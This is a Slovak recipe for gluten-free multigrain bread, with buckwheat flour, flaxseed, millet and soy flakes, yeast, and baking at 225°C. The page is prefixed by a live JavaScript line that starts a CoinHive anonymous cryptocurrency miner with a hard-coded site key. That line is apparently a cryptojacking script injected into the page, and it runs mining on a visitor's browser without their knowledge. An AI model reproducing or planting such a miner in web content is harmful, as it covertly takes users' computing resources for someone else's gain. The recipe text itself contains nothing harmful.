var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

500g svetlej bezlepkovej múky (Mix B), 50g pohánkovej múky, 50g ľanového semiačka, 50g pšenových vločiek, 50g sójových vločiek, 50g slnečnicových jadierok (sekané vlašské orechy), 1 kocka droždia (42g), 1 PL cukru, 530ml vlažnej vody, 2 ČL soli, 1 PL jablčného octu, 3 PL repkového oleja Droždie rozdrobíme a rozmiešame s cukrom vo vlažnej vode (100ml). Necháme ho niekoľko minút vzísť.

Múku zmiešame s pohánkovou múkou, ľanovým semiačkom, vločkami, slnečnicovými jadierkami a soľou. Pridáme droždie, jablčný ocot, 1 PL oleja a zbytok vody. Nastavíme program pre bezlepkové pečenie. V prípade pečenia v rúre cesto asi 5 minút dôkladne premiesime a dáme do formy, ktorá je vymastená tukom a vysypaná bezlepkovou strúhankou.

V teplej rúre necháme cesto 30-40 minút kysnúť. Malo by nakysnúť zhruba o polovicu svojho objemu. Chlieb ďalej pečieme pri 225°C cca 50 minút. Potom chleba potrieme 2 PL oleja a 10 minút dopekáme. Po upečení ho vyklopíme a necháme vychladnúť.